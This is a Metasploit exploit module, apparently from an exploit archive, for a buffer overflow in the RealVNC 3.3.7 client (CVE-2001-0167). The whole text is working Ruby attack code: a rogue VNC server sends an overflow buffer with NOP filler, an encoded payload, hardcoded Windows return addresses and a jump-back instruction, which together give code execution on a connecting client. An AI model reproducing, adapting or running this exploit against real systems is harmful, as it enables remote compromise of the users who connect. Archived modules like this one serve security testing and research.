RealVNC 3.3.7 – Client Buffer Overflow (Metasploit)
## # $Id: realvnc_client.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'RealVNC 3.3.7 Client Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe). }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2001-0167' ], [ 'OSVDB', '6281' ], [ 'BID', '2305' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ], [ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jan 29 2001', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) ], self.class) end def on_client_connect(client) rfb = "RFB 003.003\n" client.put(rfb) end def on_client_data(client) return if ((p = regenerate_payload(client)) == nil) filler = make_nops(993 - payload.encoded.length) sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV') sploit << rand_text_english(200) print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(sploit) handler service.close_client(client) end end |